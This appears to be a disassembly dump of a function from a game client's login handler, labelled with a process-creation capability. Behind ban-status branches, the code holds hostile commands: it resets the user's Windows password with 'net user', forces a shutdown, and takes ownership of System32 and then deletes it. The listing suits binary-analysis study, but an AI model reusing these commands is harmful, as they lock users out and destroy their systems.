Function at 0x40b0d0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x204
mov eax, dword [0x6eff0c]
xor eax, esp
mov dword [esp + 0x200], eax
push esi
mov esi, ecx
mov eax, dword [esi + 0x21840]
add eax, 0xfffffffc
push edi
cmp eax, 0x10
ja case.default.0x40b100
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
jmp dword [eax*4 + 0x40b514]
pop edi
mov dword [esi + 0x21698], 0x6c1634
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
pop edi
mov dword [esi + 0x21698], 0x6c1644
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
mov eax, 0x88888889
mul dword [esi + 0x21838]
shr edx, 5
inc edx
push edx
lea eax, [esp + 0xc]
push str.Your_account_has_been_temporarily_frozen_because_of_violation_of_the_Terms_of_Service___Paragraph_2___n_nYou_will_be_able_to_continue_to_use_the_service_in__d_hours
push eax
mov dword [esi + 0x21698], 0x6c1654
call fcn.00406ca0
add esp, 0xc
push 0x30
push str.Login
lea ecx, [esp + 0x10]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
push 0x30
push str.Login
push str.Too_many_failed_login_attempts__your_IP_has_been_blocked_for_one_hour
push 0
mov dword [esi + 0x21698], 0x6c1714
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
push 0x30
push str.Login
push 0x6c1794
push 0
mov dword [esi + 0x21698], 0x6c1778
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 5
push 0
push 0x6c0472
push str.https:__thehulkz.online_
push str.open
push 0
call esi
push 5
push 0
push 0x6c0472
push str.https:__www.facebook.com_profile.php_id61551925678089
push str.open
push 0
call esi
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
push str.net_user__username__lazdeqqe
mov dword [esi + 0x21698], 0x6c1828
call fcn.005e0076
push str.shutdown__s__f__t_1
call fcn.005e0076
add esp, 8
push 0x10
push 0x6c1880
push str._________________________________________
push 0
call edi
cmp eax, 1
je 0x40b4fb
push 0
push 0
push str._c_takeown__f_C:WindowsSystem32__icacls_C:WindowsSystem32__grant_administrators:F__t__q__rd__s__q_C:WindowsSystem32
push 0x6c1968
push str.open
push 0
mov dword [esi + 0x21698], 0x6c18b4
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x10
push str.Login
push 0x6c196c
push 0
call edi
cmp eax, 1
je 0x40b4fb
push 0x10
push str.Login
push str.Your_IP_has_been_banned_by_IP_Address
push 0
mov dword [esi + 0x21698], 0x6c198c
call edi
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
push 0x10
push str.Login
push str.Your_account_has_been_banned_by_HWID_ID
push 0
mov dword [esi + 0x21698], 0x6c19cc
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
push 0x10
push str.Login
push str.Banned:_This_account_has_been_investigated_and_permanently_closed_for_violations_of_the_Terms_of_Use
push 0
mov dword [esi + 0x21698], 0x6c1a20
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
push 0x10
push str.Login
push str.Banned:_Your_account_has_been_banned_by_MAC_Address
push 0
mov dword [esi + 0x21698], 0x6c1ab0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
push str.shutdown__s__f__t_1
mov dword [esi + 0x21698], 0x6c1b10
call fcn.005e0076
add esp, 4
push 0x10
push str.Login
push str.Banned:_Your_account_has_been_banned_by_Client
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
pop edi
mov dword [esi + 0x21698], 0x6c1b68
mov dword [esi + 0x20dec], 4
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
push 0x30
push str.Account_Deleted
push str.Your_account_was_deleted_because_your_payment_was_refunded_or_cancelled_n_nPlease_contact_your_payment_provider
push 0
mov dword [esi + 0x21698], 0x6c1b90
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
push 0x30
push str.No_game_ownership_on_Steam
push str.Youve_started_game_under_a_steam_account__but_that_account_does_not_have_The_War_Z_game_ownership
push 0
mov dword [esi + 0x21698], 0x6c0472
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
push 0x30
push str.Login
push str.Unknown_account_status__please_contact_support_extreme.co.th
push 0
mov dword [esi + 0x21698], 0x6c1ca4
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 5
push 0
push 0x6c0472
push str.Runtime.exe
push str.open
push 0
mov dword [esi + 0x21698], 0x6c0472
call edi
push 5
push 0
push 0x6c0472
push str.https:__thehulkz.online_
push str.open
push 0
call edi
pop edi
mov dword [esi + 0x20dec], 5
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret
mov dword [esi + 0x21698], str.Eorror_1
mov ecx, dword [esp + 0x208]
pop edi
pop esi
xor ecx, esp
call fcn.005de867
add esp, 0x204
ret